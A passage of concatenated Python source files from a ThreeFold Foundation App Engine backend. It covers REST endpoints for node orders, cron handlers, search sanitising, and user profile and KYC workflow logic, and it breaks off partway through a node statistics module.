from google.appengine.api.search import MAXIMUM_DOCUMENTS_RETURNED_PER_SEARCH
from mcfw.restapi import rest
from mcfw.rpc import returns, arguments
from plugins.tff_backend.bizz.audit.audit import audit
from plugins.tff_backend.bizz.audit.mapping import AuditLogType
from plugins.tff_backend.bizz.authentication import Scopes
from plugins.tff_backend.bizz.nodes.hoster import put_node_order, create_node_order
from plugins.tff_backend.bizz.nodes.stats import list_nodes, get_node, update_node, delete_node, create_node
from plugins.tff_backend.dal.node_orders import search_node_orders, get_node_order, list_node_orders_by_user
from plugins.tff_backend.to.nodes import NodeOrderListTO, CreateNodeOrderTO, NodeOrderTO, UpdateNodePayloadTO, \
CreateNodeTO
from plugins.tff_backend.utils.search import sanitise_search_query
@rest('/orders', 'get', Scopes.BACKEND_READONLY, silent_result=True)
@returns(NodeOrderListTO)
@arguments(page_size=(int, long), cursor=unicode, query=unicode, status=(int, long), username=unicode)
def api_get_node_orders(page_size=20, cursor=None, query=None, status=None, username=None):
page_size = min(page_size, MAXIMUM_DOCUMENTS_RETURNED_PER_SEARCH)
filters = {'status': status, 'username': username}
if username and not query and status is None:
results = [NodeOrderTO.from_model(model) for model in list_node_orders_by_user(username)]
return NodeOrderListTO(cursor=None, more=False, results=results)
return NodeOrderListTO.from_search(*search_node_orders(sanitise_search_query(query, filters), page_size, cursor))
@rest('/orders/<order_id:[^/]+>', 'get', Scopes.BACKEND_READONLY)
@returns(NodeOrderTO)
@arguments(order_id=(int, long))
def api_get_node_order(order_id):
return NodeOrderTO.from_dict(get_node_order(order_id).to_dict())
@rest('/orders', 'post', Scopes.BACKEND_ADMIN)
@returns(NodeOrderTO)
@arguments(data=CreateNodeOrderTO)
def api_create_node_order(data):
return NodeOrderTO.from_dict(create_node_order(data).to_dict())
@audit(AuditLogType.UPDATE_NODE_ORDER, 'order_id')
@rest('/orders/<order_id:[^/]+>', 'put', Scopes.BACKEND_ADMIN)
@returns(NodeOrderTO)
@arguments(order_id=(int, long), data=NodeOrderTO)
def api_put_node_order(order_id, data):
return NodeOrderTO.from_dict(put_node_order(order_id, data).to_dict())
@rest('/nodes', 'get', Scopes.NODES_READONLY, silent_result=True)
@returns([dict])
@arguments(sort_by=unicode, direction=unicode)
def api_list_nodes(sort_by=None, direction=None):
return list_nodes(sort_by, direction == 'asc')
@rest('/nodes', 'post', Scopes.NODES_ADMIN, silent_result=True)
@returns(dict)
@arguments(data=CreateNodeTO)
def api_create_node(data):
return create_node(data).to_dict()
@rest('/nodes/<node_id:[^/]+>', 'get', Scopes.NODES_READONLY, silent_result=True)
@returns(dict)
@arguments(node_id=unicode)
def api_get_node(node_id):
return get_node(node_id).to_dict()
@audit(AuditLogType.UPDATE_NODE, 'node_id')
@rest('/nodes/<node_id:[^/]+>', 'put', Scopes.NODES_ADMIN, silent_result=True)
@returns(dict)
@arguments(node_id=unicode, data=UpdateNodePayloadTO)
def api_update_node(node_id, data):
return update_node(node_id, data).to_dict()
@rest('/nodes/<node_id:[^/]+>', 'delete', Scopes.NODES_ADMIN, silent_result=True)
@returns()
@arguments(node_id=unicode)
def api_delete_node(node_id):
return delete_node(node_id)
|
threefoldfoundation/app_backend | plugins/tff_backend/bizz/audit/mapping.py | <filename>plugins/tff_backend/bizz/audit/mapping.py<gh_stars>0
# -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
from enum import Enum
from plugins.tff_backend.models.agenda import Event
from plugins.tff_backend.models.global_stats import GlobalStats
from plugins.tff_backend.models.hoster import NodeOrder
from plugins.tff_backend.models.investor import InvestmentAgreement
from plugins.tff_backend.models.nodes import Node
from plugins.tff_backend.models.user import TffProfile
class AuditLogType(Enum):
UPDATE_GLOBAL_STATS = 'update_global_stats'
UPDATE_INVESTMENT_AGREEMENT = 'update_investment_agreement'
UPDATE_NODE_ORDER = 'update_node_order'
SET_KYC_STATUS = 'set_kyc_status'
UPDATE_AGENDA_EVENT = 'update_agenda_event'
UPDATE_NODE = 'update_node'
AuditLogMapping = {
AuditLogType.UPDATE_GLOBAL_STATS: GlobalStats,
AuditLogType.UPDATE_INVESTMENT_AGREEMENT: InvestmentAgreement,
AuditLogType.UPDATE_NODE_ORDER: NodeOrder,
AuditLogType.SET_KYC_STATUS: TffProfile,
AuditLogType.UPDATE_AGENDA_EVENT: Event,
AuditLogType.UPDATE_NODE: Node,
}
AuditLogMappingTypes = tuple(type(v) for v in AuditLogMapping.values())
|
threefoldfoundation/app_backend | plugins/tff_backend/handlers/cron.py | # -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
import datetime
import httplib
import json
import logging
import webapp2
from google.appengine.api import urlfetch
from google.appengine.api.app_identity import app_identity
from framework.plugin_loader import get_config
from mcfw.consts import MISSING
from plugins.rogerthat_api.api import friends
from plugins.tff_backend.bizz import get_tf_token_api_key
from plugins.tff_backend.bizz.agenda import update_expired_events
from plugins.tff_backend.bizz.dashboard import rebuild_firebase_data
from plugins.tff_backend.bizz.flow_statistics import check_stuck_flows
from plugins.tff_backend.bizz.global_stats import update_currencies
from plugins.tff_backend.bizz.nodes.stats import save_node_statuses, check_online_nodes, check_offline_nodes
from plugins.tff_backend.configuration import TffConfiguration
from plugins.tff_backend.plugin_consts import NAMESPACE
class BackupHandler(webapp2.RequestHandler):
def get(self):
config = get_config(NAMESPACE)
assert isinstance(config, TffConfiguration)
if config.backup_bucket is MISSING or not config.backup_bucket:
logging.debug('Backup is disabled')
return
access_token, _ = app_identity.get_access_token('https://www.googleapis.com/auth/datastore')
app_id = app_identity.get_application_id()
timestamp = datetime.datetime.now().strftime('%Y%m%d-%H%M%S')
output_url_prefix = 'gs://%s' % config.backup_bucket
if '/' not in output_url_prefix[5:]:
# Only a bucket name has been provided - no prefix or trailing slash
output_url_prefix += '/' + timestamp
else:
output_url_prefix += timestamp
entity_filter = {
'kinds': self.request.get_all('kind'),
'namespace_ids': self.request.get_all('namespace_id')
}
request = {
'project_id': app_id,
'output_url_prefix': output_url_prefix,
'entity_filter': entity_filter
}
headers = {
'Content-Type': 'application/json',
'Authorization': 'Bearer ' + access_token
}
url = 'https://datastore.googleapis.com/v1/projects/%s:export' % app_id
try:
result = urlfetch.fetch(url=url,
payload=json.dumps(request),
method=urlfetch.POST,
deadline=60,
headers=headers) # type: urlfetch._URLFetchResult
if result.status_code == httplib.OK:
logging.info(result.content)
else:
logging.error(result.content)
self.response.status_int = result.status_code
except urlfetch.Error:
logging.exception('Failed to initiate export.')
self.response.status_int = httplib.INTERNAL_SERVER_ERROR
class RebuildSyncedRolesHandler(webapp2.RequestHandler):
def get(self):
api_key = get_tf_token_api_key()
friends.rebuild_synced_roles(api_key, members=[], service_identities=[])
class UpdateGlobalStatsHandler(webapp2.RequestHandler):
def get(self):
update_currencies()
class CheckNodesOnlineHandler(webapp2.RequestHandler):
def get(self):
check_online_nodes()
class CheckOfflineNodesHandler(webapp2.RequestHandler):
def get(self):
check_offline_nodes()
class SaveNodeStatusesHandler(webapp2.RequestHandler):
def get(self):
save_node_statuses()
class ExpiredEventsHandler(webapp2.RequestHandler):
def get(self):
update_expired_events()
class RebuildFirebaseHandler(webapp2.RequestHandler):
def get(self):
rebuild_firebase_data()
class CheckStuckFlowsHandler(webapp2.RequestHandler):
def get(self):
check_stuck_flows()
|
threefoldfoundation/app_backend | plugins/tff_backend/utils/search.py | <reponame>threefoldfoundation/app_backend<gh_stars>0
# -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
import logging
from google.appengine.api import search
from framework.utils import chunks
from plugins.its_you_online_auth.bizz.profile import normalize_search_string
def sanitise_search_query(query, filters):
"""
Sanitises search query so it doesn't contain syntax errors.
Allows users to search by entering key:value in their search term.
Args:
query (unicode)
filters (dict)
Returns:
unicode
"""
query = query or ''
filters = filters or {}
split = query.split()
for s in split:
if ':' in s:
res = s.split(':')
filters[res[0]] = res[1]
query = query.replace(s, '')
filtered_query = normalize_search_string(query)
for key, value in filters.iteritems():
if value is not None and key:
filtered_query += ' %s:%s' % (key, value)
return filtered_query.strip()
def remove_all_from_index(index):
# type: (search.Index) -> long
total = 0
while True:
result = index.search(search.Query(u'', options=search.QueryOptions(ids_only=True, limit=1000)))
if not result.results:
break
logging.debug('Deleting %d documents from %s' % (len(result.results), index))
total += len(result.results)
for rpc in [index.delete_async([r.doc_id for r in chunk]) for chunk in chunks(result.results, 200)]:
rpc.get_result()
logging.info('Deleted %d documents from %s', total, index)
return total
|
threefoldfoundation/app_backend | plugins/tff_backend/bizz/iyo/see.py | # -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
from mcfw.rpc import returns, arguments
from plugins.tff_backend.bizz.iyo.utils import get_itsyouonline_client_from_username
from plugins.tff_backend.to.iyo.see import IYOSeeDocumentView
from plugins.tff_backend.utils import convert_to_str
@returns([IYOSeeDocumentView])
@arguments(organization_id=unicode, username=unicode)
def get_see_documents(organization_id, username):
# type: (unicode, unicode) -> list[IYOSeeDocumentView]
client = get_itsyouonline_client_from_username(username)
query_params = {
'globalid': organization_id
}
result = client.users.GetSeeObjects(convert_to_str(username), query_params=query_params)
return [IYOSeeDocumentView(**d) for d in result.json()]
|
threefoldfoundation/app_backend | plugins/tff_backend/bizz/user.py | # -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
import base64
import datetime
import hashlib
import json
import logging
import os
import time
import jinja2
from google.appengine.api import users, urlfetch
from google.appengine.api.search import search
from google.appengine.ext import deferred, ndb
from google.appengine.ext.deferred.deferred import PermanentTaskFailure
import intercom
from framework.bizz.job import run_job, MODE_BATCH
from framework.i18n_utils import DEFAULT_LANGUAGE, translate
from framework.plugin_loader import get_config
from framework.utils import try_or_defer
from framework.utils.jinja_extensions import TranslateExtension
from mcfw.consts import MISSING, DEBUG
from mcfw.exceptions import HttpNotFoundException, HttpBadRequestException
from mcfw.rpc import returns, arguments
from onfido import Applicant
from plugins.intercom_support.rogerthat_callbacks import start_or_get_chat
from plugins.its_you_online_auth.bizz.profile import search_profiles
from plugins.rogerthat_api.api import messaging
from plugins.rogerthat_api.exceptions import BusinessException
from plugins.rogerthat_api.to import UserDetailsTO, MemberTO
from plugins.rogerthat_api.to.messaging import AnswerTO, Message
from plugins.rogerthat_api.to.system import RoleTO
from plugins.tff_backend.bizz import get_tf_token_api_key, get_mazraa_api_key
from plugins.tff_backend.bizz.intercom_helpers import upsert_intercom_user, tag_intercom_users, IntercomTags, \
get_intercom_plugin
from plugins.tff_backend.bizz.iyo.utils import get_username
from plugins.tff_backend.bizz.kyc.onfido_bizz import create_check, update_applicant, deserialize, list_checks, serialize
from plugins.tff_backend.bizz.messages import send_message_and_email
from plugins.tff_backend.bizz.rogerthat import create_error_message, send_rogerthat_message, put_user_data
from plugins.tff_backend.bizz.service import get_main_branding_hash
from plugins.tff_backend.consts.kyc import kyc_steps, DEFAULT_KYC_STEPS, REQUIRED_DOCUMENT_TYPES
from plugins.tff_backend.models.user import ProfilePointer, TffProfile, KYCInformation, KYCStatus, TffProfileInfo
from plugins.tff_backend.plugin_consts import NAMESPACE, KYC_FLOW_PART_1, KYC_FLOW_PART_1_TAG, \
BUY_TOKENS_TAG
from plugins.tff_backend.to.user import SetKYCPayloadTO
from plugins.tff_backend.utils import convert_to_str
from plugins.tff_backend.utils.app import create_app_user_by_email, get_app_user_tuple
from plugins.tff_backend.utils.search import sanitise_search_query, remove_all_from_index
from transliterate import slugify
FLOWS_JINJA_ENVIRONMENT = jinja2.Environment(
trim_blocks=True,
extensions=['jinja2.ext.autoescape', TranslateExtension],
autoescape=True,
loader=jinja2.FileSystemLoader([os.path.join(os.path.dirname(__file__), 'flows')]))
TFF_PROFILE_INDEX = search.Index('tff_profile', namespace=NAMESPACE)
def create_tff_profile(user_details):
# type: (UserDetailsTO) -> TffProfile
# Try TffProfile
user_email = user_details.email
profile = TffProfile.list_by_email(user_email).get()
if profile:
logging.debug('TffProfile for email %s already exists (%s)', user_email, profile.username)
return upsert_tff_profile(profile.username, user_details)
# Try searching old (itsyou.online based) profiles
profiles, cursor, more = search_profiles(sanitise_search_query('', {'validatedemailaddresses': user_email}))
if profiles:
logging.debug('Creating TffProfile from old itsyou.online profile')
return upsert_tff_profile(profiles[0].username, user_details)
# Try intercom
intercom_plugin = get_intercom_plugin()
if intercom_plugin:
try:
user = intercom_plugin.get_user(email=user_email)
if user.user_id:
logging.debug('Creating TffProfile based on intercom account %s (%s)', user_email, user.user_id)
return upsert_tff_profile(user.user_id, user_details)
except intercom.ResourceNotFound:
pass
# Didn't find an old user. Use email as username.
logging.debug('Creating new TffProfile with email as username %s', user_email)
return upsert_tff_profile(user_email, user_details)
@ndb.transactional()
def update_tff_profile(username, user_details):
# type: (unicode, UserDetailsTO) -> TffProfile
profile = get_tff_profile(username)
profile.info = TffProfileInfo(name=user_details.name,
language=user_details.language,
avatar_url=user_details.avatar_url)
profile.put()
index_tff_profile(profile)
return profile
def populate_intercom_user(profile):
"""
Creates or updates an intercom user with information from TffProfile (from UserDetails)
"""
intercom_plugin = get_intercom_plugin()
if not intercom_plugin:
return
intercom_user = upsert_intercom_user(profile.username, profile)
tag_intercom_users(IntercomTags.APP_REGISTER, [profile.username])
return
message = """Welcome to the ThreeFold Foundation app.
If you have questions you can get in touch with us through this chat.
Our team is at your service during these hours:
Sunday: 07:00 - 15:00 GMT +1
Monday - Friday: 09:00 - 17:00 GMT +1
Of course you can always ask your questions outside these hours, we will then get back to you the next business day."""
email, app_id = get_app_user_tuple(profile.app_user)
chat_id = start_or_get_chat(get_tf_token_api_key(), '+default+', email.email(), app_id,
intercom_user, message)
deferred.defer(store_chat_id_in_user_data, chat_id, email.email(), app_id, _countdown=10)
@arguments(rogerthat_chat_id=unicode, email=unicode, app_id=unicode)
def store_chat_id_in_user_data(rogerthat_chat_id, email, app_id):
user_data = {
'support_chat_id': rogerthat_chat_id
}
put_user_data(get_tf_token_api_key(), email, app_id, user_data, retry=False)
@returns(unicode)
@arguments(username=unicode)
def user_code(username):
digester = hashlib.sha256()
digester.update(convert_to_str(username))
key = digester.hexdigest()
return unicode(key[:5])
def store_referral_in_user_data(profile_key):
profile = profile_key.get()
user_data = {
'has_referrer': profile.referrer_user is not None
}
email, app_id = get_app_user_tuple(profile.app_user)
put_user_data(get_tf_token_api_key(), email.email(), app_id, user_data)
def notify_new_referral(my_username, app_user):
# username is username from user who used referral code of app_user
profile = get_tff_profile(my_username)
subject = u'%s just used your invitation code' % profile.info.name
message = u'Hi!\n' \
u'Good news, %s has used your invitation code.' % profile.info.name
send_message_and_email(app_user, message, subject, get_tf_token_api_key())
@returns([(int, long)])
@arguments(user_detail=UserDetailsTO, roles=[RoleTO])
def is_user_in_roles(user_detail, roles):
return []
def get_tff_profile(username):
# type: (unicode) -> TffProfile
profile = TffProfile.create_key(username).get()
if not profile:
raise HttpNotFoundException('tff_profile_not_found', {'username': username})
if not profile.kyc:
profile.kyc = KYCInformation(status=KYCStatus.UNVERIFIED.value,
updates=[],
applicant_id=None)
return profile
@ndb.transactional(xg=True)
def upsert_tff_profile(username, user_details):
# type: (unicode, UserDetailsTO) -> TffProfile
key = TffProfile.create_key(username)
profile = key.get()
to_put = []
if not profile:
profile = TffProfile(key=key,
kyc=KYCInformation(status=KYCStatus.UNVERIFIED.value,
updates=[],
applicant_id=None))
pp_key = ProfilePointer.create_key(username)
profile_pointer = pp_key.get()
if profile_pointer:
raise Exception('Failed to save invitation code of user %s, we have a duplicate. %s' % (username,
user_details))
profile_pointer = ProfilePointer(key=pp_key, username=username)
to_put.append(profile_pointer)
user_data = {
'invitation_code': profile_pointer.user_code
}
deferred.defer(put_user_data, get_tf_token_api_key(), user_details.email, user_details.app_id, user_data,
_transactional=True)
profile.app_user = create_app_user_by_email(user_details.email, user_details.app_id)
profile.info = TffProfileInfo(name=user_details.name,
language=user_details.language,
avatar_url=user_details.avatar_url)
if 'itsyou.online' not in user_details.email:
profile.info.email = user_details.email
to_put.append(profile)
ndb.put_multi(to_put)
index_tff_profile(profile)
return profile
def can_change_kyc_status(current_status, new_status):
if DEBUG:
return True
statuses = {
KYCStatus.DENIED: [],
KYCStatus.UNVERIFIED: [KYCStatus.PENDING_SUBMIT],
KYCStatus.PENDING_SUBMIT: [KYCStatus.PENDING_SUBMIT],
KYCStatus.SUBMITTED: [KYCStatus.PENDING_APPROVAL],
# KYCStatus.SUBMITTED: [KYCStatus.INFO_SET],
# KYCStatus.INFO_SET: [KYCStatus.PENDING_APPROVAL],
KYCStatus.PENDING_APPROVAL: [KYCStatus.VERIFIED, KYCStatus.DENIED, KYCStatus.PENDING_SUBMIT],
KYCStatus.VERIFIED: [KYCStatus.PENDING_SUBMIT],
}
return new_status in statuses.get(current_status)
@returns(TffProfile)
@arguments(username=unicode, payload=SetKYCPayloadTO, current_user_id=unicode)
def set_kyc_status(username, payload, current_user_id):
# type: (unicode, SetKYCPayloadTO, unicode) -> TffProfile
logging.debug('Updating KYC status to %s', KYCStatus(payload.status))
profile = get_tff_profile(username)
if not can_change_kyc_status(profile.kyc.status, payload.status):
raise HttpBadRequestException('invalid_status')
comment = payload.comment if payload.comment is not MISSING else None
profile.kyc.set_status(payload.status, current_user_id, comment=comment)
if payload.status == KYCStatus.PENDING_SUBMIT:
deferred.defer(send_kyc_flow, profile.app_user, payload.comment, _countdown=5) # after user_data update
if payload.status == KYCStatus.INFO_SET:
update_applicant(profile.kyc.applicant_id, deserialize(payload.data, Applicant))
elif payload.status == KYCStatus.PENDING_APPROVAL:
deferred.defer(_create_check, profile.kyc.applicant_id)
elif payload.status == KYCStatus.VERIFIED:
deferred.defer(_send_kyc_approved_message, profile.key)
profile.put()
deferred.defer(store_kyc_in_user_data, profile.app_user, _countdown=2)
deferred.defer(index_tff_profile, TffProfile.create_key(username), _countdown=2)
return profile
@ndb.transactional()
def set_utility_bill_verified(username):
# type: (unicode) -> TffProfile
from plugins.tff_backend.bizz.investor import send_signed_investments_messages, send_hoster_reminder
profile = get_tff_profile(username)
profile.kyc.utility_bill_verified = True
profile.put()
deferred.defer(send_signed_investments_messages, profile.app_user, _transactional=True)
deferred.defer(send_hoster_reminder, profile.username, _countdown=1, _transactional=True)
return profile
def _create_check(applicant_id):
# This can take a bit of time
urlfetch.set_default_fetch_deadline(300)
try:
create_check(applicant_id)
except Exception as e:
logging.exception(e.message)
raise PermanentTaskFailure(e)
def send_kyc_flow(app_user, message=None):
email, app_id = get_app_user_tuple(app_user)
member = MemberTO(member=email.email(), app_id=app_id, alert_flags=0)
push_message = u'KYC procedure has been initiated' # for iOS only
messaging.start_local_flow(get_tf_token_api_key(), None, [member], tag=KYC_FLOW_PART_1_TAG, flow=KYC_FLOW_PART_1,
push_message=push_message, flow_params=json.dumps({'message': message}))
def generate_kyc_flow(nationality, country, iyo_username):
logging.info('Generating KYC flow for user %s and country %s', iyo_username, nationality)
flow_params = {'nationality': nationality, 'country': country}
properties = DEFAULT_KYC_STEPS.union(_get_extra_properties(country))
try:
known_information = _get_known_information(iyo_username)
known_information['address_country'] = country
except HttpNotFoundException:
logging.error('No profile found for user %s!', iyo_username)
return create_error_message()
steps = []
branding_key = get_main_branding_hash()
must_ask_passport = 'passport' not in REQUIRED_DOCUMENT_TYPES[country]
must_ask_passport = False
for prop in properties:
step_info = _get_step_info(prop)
if not step_info:
raise BusinessException('Unsupported step type: %s' % prop)
value = known_information.get(prop)
reference = 'message_%s' % prop
# If yes, go to passport step. If no, go to national identity step
if prop in ('national_identity_card', 'national_identity_card_front') and must_ask_passport:
steps.append({
'reference': 'message_has_passport',
'message': """Are you in the possession of a valid passport?
Note: If you do not have a passport (and only a national id), you will only be able to wire the funds to our UAE Mashreq bank account.""",
'type': None,
'order': step_info['order'] - 0.5,
'answers': [{
'id': 'yes',
'caption': 'Yes',
'reference': 'message_passport'
}, {
'id': 'no',
'caption': 'No',
'reference': 'message_national_identity_card' if 'national_identity_card' in properties else 'message_national_identity_card_front'
}]
})
steps.append({
'reference': reference,
'positive_reference': None,
'positive_caption': step_info.get('positive_caption', 'Continue'),
'negative_reference': 'flush_monitoring_end_canceled',
'negative_caption': step_info.get('negative_caption', 'Cancel'),
'keyboard_type': step_info.get('keyboard_type', 'DEFAULT'),
'type': step_info.get('widget', 'TextLineWidget'),
'value': value or step_info.get('value') or '',
'choices': step_info.get('choices', []),
'message': step_info['message'],
'branding_key': branding_key,
'order': step_info['order'],
'max_chars': step_info.get('max_chars', 100)
})
sorted_steps = sorted(steps, key=lambda k: k['order'])
has_passport_step = False
for i, step in enumerate(sorted_steps):
if len(sorted_steps) > i + 1:
if 'positive_reference' in step:
if step['reference'] == 'message_passport':
sorted_steps[i - 1]['positive_reference'] = 'flowcode_check_skip_passport'
has_passport_step = True
step['positive_reference'] = sorted_steps[i + 1]['reference']
else:
step['positive_reference'] = 'flush_results'
template_params = {
'start_reference': sorted_steps[0]['reference'],
'steps': sorted_steps,
'language': DEFAULT_LANGUAGE,
'branding_key': branding_key,
'has_passport_step': has_passport_step
}
return FLOWS_JINJA_ENVIRONMENT.get_template('kyc_part_2.xml').render(template_params), flow_params
def _get_extra_properties(country_code):
return REQUIRED_DOCUMENT_TYPES[country_code]
def _get_step_info(property):
results = filter(lambda step: step['type'] == property, kyc_steps)
return results[0] if results else None
def _get_known_information(username):
date_of_birth = datetime.datetime.now()
date_of_birth = date_of_birth.replace(year=date_of_birth.year - 18, hour=0, minute=0, second=0, microsecond=0)
profile = get_tff_profile(username)
first_name, last_name = profile.info.name.split(' ', 1)
known_information = {
'first_name': first_name,
'last_name': last_name,
'email': profile.info.email,
'telephone': None,
'address_building_number': None,
'address_street': None,
'address_town': None,
'address_postcode': None,
'dob': long(time.mktime(date_of_birth.timetuple())),
}
return known_information
def get_kyc_user_data(profile):
# type: (TffProfile) -> dict
return {
'kyc': {
'status': profile.kyc.status,
'verified': profile.kyc.status == KYCStatus.VERIFIED,
'has_utility_bill': profile.kyc.utility_bill_url is not None
}
}
@arguments(app_user=users.User)
def store_kyc_in_user_data(app_user):
username = get_username(app_user)
profile = get_tff_profile(username)
email, app_id = get_app_user_tuple(app_user)
return put_user_data(get_mazraa_api_key(), email.email(), app_id, get_kyc_user_data(profile))
@returns([dict])
@arguments(username=unicode)
def list_kyc_checks(username):
profile = get_tff_profile(username)
if not profile.kyc.applicant_id:
return []
return serialize(list_checks(profile.kyc.applicant_id))
def _send_kyc_approved_message(profile_key):
profile = profile_key.get() # type: TffProfile
email, app_id = get_app_user_tuple(profile.app_user)
message = translate(DEFAULT_LANGUAGE, 'tff', 'you_have_been_kyc_approved')
answers = [AnswerTO(type=u'button',
action='smi://%s' % BUY_TOKENS_TAG,
id=u'purchase',
caption=translate(DEFAULT_LANGUAGE, 'tff', 'purchase_itokens'),
ui_flags=0,
color=None),
AnswerTO(type=u'button',
action=None,
id=u'close',
caption=translate(DEFAULT_LANGUAGE, 'tff', 'close'),
ui_flags=0,
color=None)]
send_rogerthat_message(MemberTO(member=email.email(), app_id=app_id, alert_flags=Message.ALERT_FLAG_VIBRATE),
message, answers, 0, get_tf_token_api_key())
def index_tff_profile(profile_or_key):
# type: (ndb.Key) -> list[search.PutResult]
profile = profile_or_key.get() if isinstance(profile_or_key, ndb.Key) else profile_or_key
document = create_tff_profile_document(profile)
return TFF_PROFILE_INDEX.put(document)
def index_all_profiles():
remove_all_from_index(TFF_PROFILE_INDEX)
run_job(_get_all_profiles, [], multi_index_tff_profile, [], mode=MODE_BATCH, batch_size=200)
def multi_index_tff_profile(tff_profile_keys):
# type: (list[ndb.Key]) -> object
logging.info('Indexing %s TffProfiles', len(tff_profile_keys))
profiles = ndb.get_multi(tff_profile_keys)
good_profiles = []
for profile in profiles:
if profile.info:
good_profiles.append(profile)
else:
logging.info('Profile has no info: %s', profile)
return TFF_PROFILE_INDEX.put([create_tff_profile_document(profile) for profile in good_profiles])
def _get_all_profiles():
return TffProfile.query()
def _encode_doc_id(profile):
# type: (TffProfile) -> unicode
# doc id must be ascii, base64 encode it
return base64.b64encode(profile.username.encode('utf-8'))
def _decode_doc_id(doc_id):
# type: (unicode) -> unicode
return base64.b64decode(doc_id)
def _add_slug_fields(key, value):
if not value:
return []
value = value.lower().strip()
return [
search.TextField(name=key, value=value),
search.TextField(name='%s_slug' % key, value=slugify(value) or value)
]
def create_tff_profile_document(profile):
# type: (TffProfile) -> search.Document
fields = [search.AtomField(name='username', value=profile.username),
search.TextField(name='email', value=profile.info.email),
search.NumberField('kyc_status', profile.kyc.status if profile.kyc else KYCStatus.UNVERIFIED.value),
search.TextField('app_email', profile.app_user.email().lower())]
fields.extend(_add_slug_fields('name', profile.info.name))
return search.Document(_encode_doc_id(profile), fields)
def search_tff_profiles(query='', page_size=20, cursor=None):
# type: (unicode, int, unicode) -> tuple[list[TffProfile], search.Cursor, bool]
sort_expressions = [search.SortExpression(expression='name_slug', direction=search.SortExpression.ASCENDING),
search.SortExpression(expression='username', direction=search.SortExpression.ASCENDING)]
options = search.QueryOptions(limit=page_size,
cursor=search.Cursor(cursor),
sort_options=search.SortOptions(expressions=sort_expressions),
ids_only=True)
search_results = TFF_PROFILE_INDEX.search(search.Query(query, options=options)) # type: search.SearchResults
results = search_results.results # type: list[search.ScoredDocument]
keys = [TffProfile.create_key(_decode_doc_id(result.doc_id)) for result in results]
profiles = ndb.get_multi(keys) if keys else []
return profiles, search_results.cursor, search_results.cursor is not None
|
threefoldfoundation/app_backend | plugins/tff_backend/bizz/nodes/stats.py | <reponame>threefoldfoundation/app_backend
# -*- coding: utf-8 -*-
# Copyright 2018 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.4@@
import logging
import re
from datetime import datetime
from google.appengine.ext import ndb
from google.appengine.ext.deferred import deferred
import influxdb
from dateutil.relativedelta import relativedelta
from framework.bizz.job import run_job, MODE_BATCH
from framework.plugin_loader import get_config
from framework.utils import now, try_or_defer
from mcfw.consts import MISSING, DEBUG
from mcfw.exceptions import HttpNotFoundException, HttpBadRequestException
from mcfw.rpc import returns, arguments
from plugins.rogerthat_api.exceptions import BusinessException
from plugins.tff_backend.bizz import get_grid_api_key
from plugins.tff_backend.bizz.messages import send_message_and_email
from plugins.tff_backend.bizz.nodes import telegram
from plugins.tff_backend.bizz.odoo import get_nodes_from_odoo, get_serial_number_by_node_id
from plugins.tff_backend.bizz.rogerthat import put_user_data
from plugins.tff_backend.bizz.todo import update_hoster_progress, HosterSteps
from plugins.tff_backend.bizz.user import get_tff_profile
from plugins.tff_backend.configuration import InfluxDBConfig
from plugins.tff_backend.consts.payment import COIN_TO_HASTINGS
from plugins.tff_backend.models.hoster import NodeOrder, NodeOrderStatus
from plugins.tff_backend.models.nodes import Node, NodeStatus, NodeChainStatus
from plugins.tff_backend.models.user import TffProfile
from plugins.tff_backend.plugin_consts import NAMESPACE
from plugins.tff_backend.to.nodes import UpdateNodePayloadTO, UpdateNodeStatusTO, CreateNodeTO
from plugins.tff_backend.utils.app import get_app_user_tuple
SKIPPED_STATS_KEYS = ['disk.size.total']
NODE_ID_REGEX = re.compile('([a-f0-9])')
def check_online_nodes():
run_job(_get_node_orders, [], check_if_node_comes_online, [])
def _get_node_orders():
return NodeOrder.list_check_online()
def check_if_node_comes_online(order_key):
order = order_key.get() # type: NodeOrder
order_id = order.id
if not order.odoo_sale_order_id:
